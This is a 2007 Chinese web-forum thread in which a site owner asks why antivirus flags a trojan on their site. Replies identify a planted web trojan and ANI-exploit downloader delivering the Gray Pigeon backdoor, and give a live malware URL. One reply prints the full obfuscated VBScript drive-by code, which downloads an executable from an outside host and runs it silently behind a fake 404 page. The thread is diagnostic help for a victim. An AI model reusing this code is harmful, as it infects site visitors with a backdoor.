12   1  /  2  页   跳转

我中了新病毒 Trojan.DL.VBS.Agent.cns

我中了新病毒 Trojan.DL.VBS.Agent.cns

发现新病毒Trojan.DL.VBS.Agent.cns


一打开我的网站http://www.sdxhyy.com/web/book/index.asp,瑞星网页监控 发现病毒 Trojan.DL.VBS.Agent.cns,我FTP以上网站的源代码到本地杀毒,用最新正版瑞星,却没发现病毒,怎么办?求高手帮忙!多谢!
最后编辑2007-07-02 10:56:56
分享到:
gototop
 

开了一下,是有.C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\304037762920.tmp,304037762920.tmp,xskj[1].jpg,是不是这个图有问题
gototop
 

怀疑是java script代码问题.
gototop
 

到网上搜索也搜索不到相关解答,求高手帮忙了。。。
gototop
 

此网站被挂毒,挂了几个网马和ANI漏洞利用下载者,病毒下载的文件,为灰鸽子病毒,另外找到几个未知下载物,已经上报给瑞星了,请在近期勿访问此网站
gototop
 

灰鸽子下载地址

hxxp://remix2008.myrice.com/smdd.exe
gototop
 

<script language="VBScript">
On Error Resume Next
QnxyX="http://www.66ki.cn/hua.exe"
Set RJURL = document.createElement("object")
ccc="clsid:BD96":lll="C556-65":sss="A3-11D":iii="0-983A-00C":ddd="04FC29E36":xxx="Microsoft.X":mmm="MLHTTp"
RJURL.SetAttribute "classid", ccc&lll&sss&iii&ddd
OOBnPl=xxx&mmm
Set MKHbx = RJURL.CreateObject(OOBnPl,"")
MKHbx.Open "GET", QnxyX, False
MKHbx.Send
MQWLa="~I7PRUGI1VAC.CoM"
SEiDu="~V5SFDYCLNTK.VbS"
XpTvd="~V5SFDYCLNTK.VbS"
SS="Scripting."
cc="FileSyst"
rr="emObject"
Set Kpzwb = RJURL.createobject(SS&cc&rr,"")
Set SrHOx = Kpzwb.GetSpecialFolder(2)
MQWLa=Kpzwb.BuildPath(SrHOx,MQWLa)
SEiDu=Kpzwb.BuildPath(SrHOx,SEiDu)
RR="Adod"
NN="b.stream"
UoNfL=RR&NN
Set HSREb = RJURL.createobject(UoNfL,"")
HSREb.type=1
HSREb.Open
HSREb.Write MKHbx.ResponseBody
HSREb.Savetofile MQWLa,2
HSREb.Close
HSREb.Type=2
HSREb.Open
HSREb.WriteText  "Set Shell = CreateObject(""Wscript.Shell"")"&vbCrLf&"Shell.Run ("""&MQWLa&""")"&vbCrLf&"Set Shell = Nothing"
HSREb.Savetofile SEiDu,2
HSREb.Savetofile "c:\\NTDETECT.EXE",2
HSREb.Close
WSjog="Shell.Applica"
Set Run = RJURL.createobject(WSjog&"tion","")
Run.ShellExecute SEiDu,"","","Open",0
</script></html><script type="text/jscript">function init() {document.writeln("<HEAD><TITLE>404 Not Found<\/TITLE><\/HEAD><BODY>");
document.writeln("<H1>Not Found<\/H1>The requested URL \/codebase\/dff was not found on this server.<P>");
document.writeln("<P>Additionally, a 404 Not Found");
document.writeln("error was encountered while trying to use an ErrorDocument to handle the request.");
document.writeln("<\/BODY>");}window.onload = init;
</script>




网马代码
gototop
 

第一楼的仁兄,鉴定病毒要细心,此网马用VBScript写的,不是java script
gototop
 

那网站是我自己的呀,怎么挂上的病毒?
gototop
 

流星陨落,请开QQ帮我会诊一下,多谢
gototop
 
12   1  /  2  页   跳转
页面顶部
Powered by Discuz!NT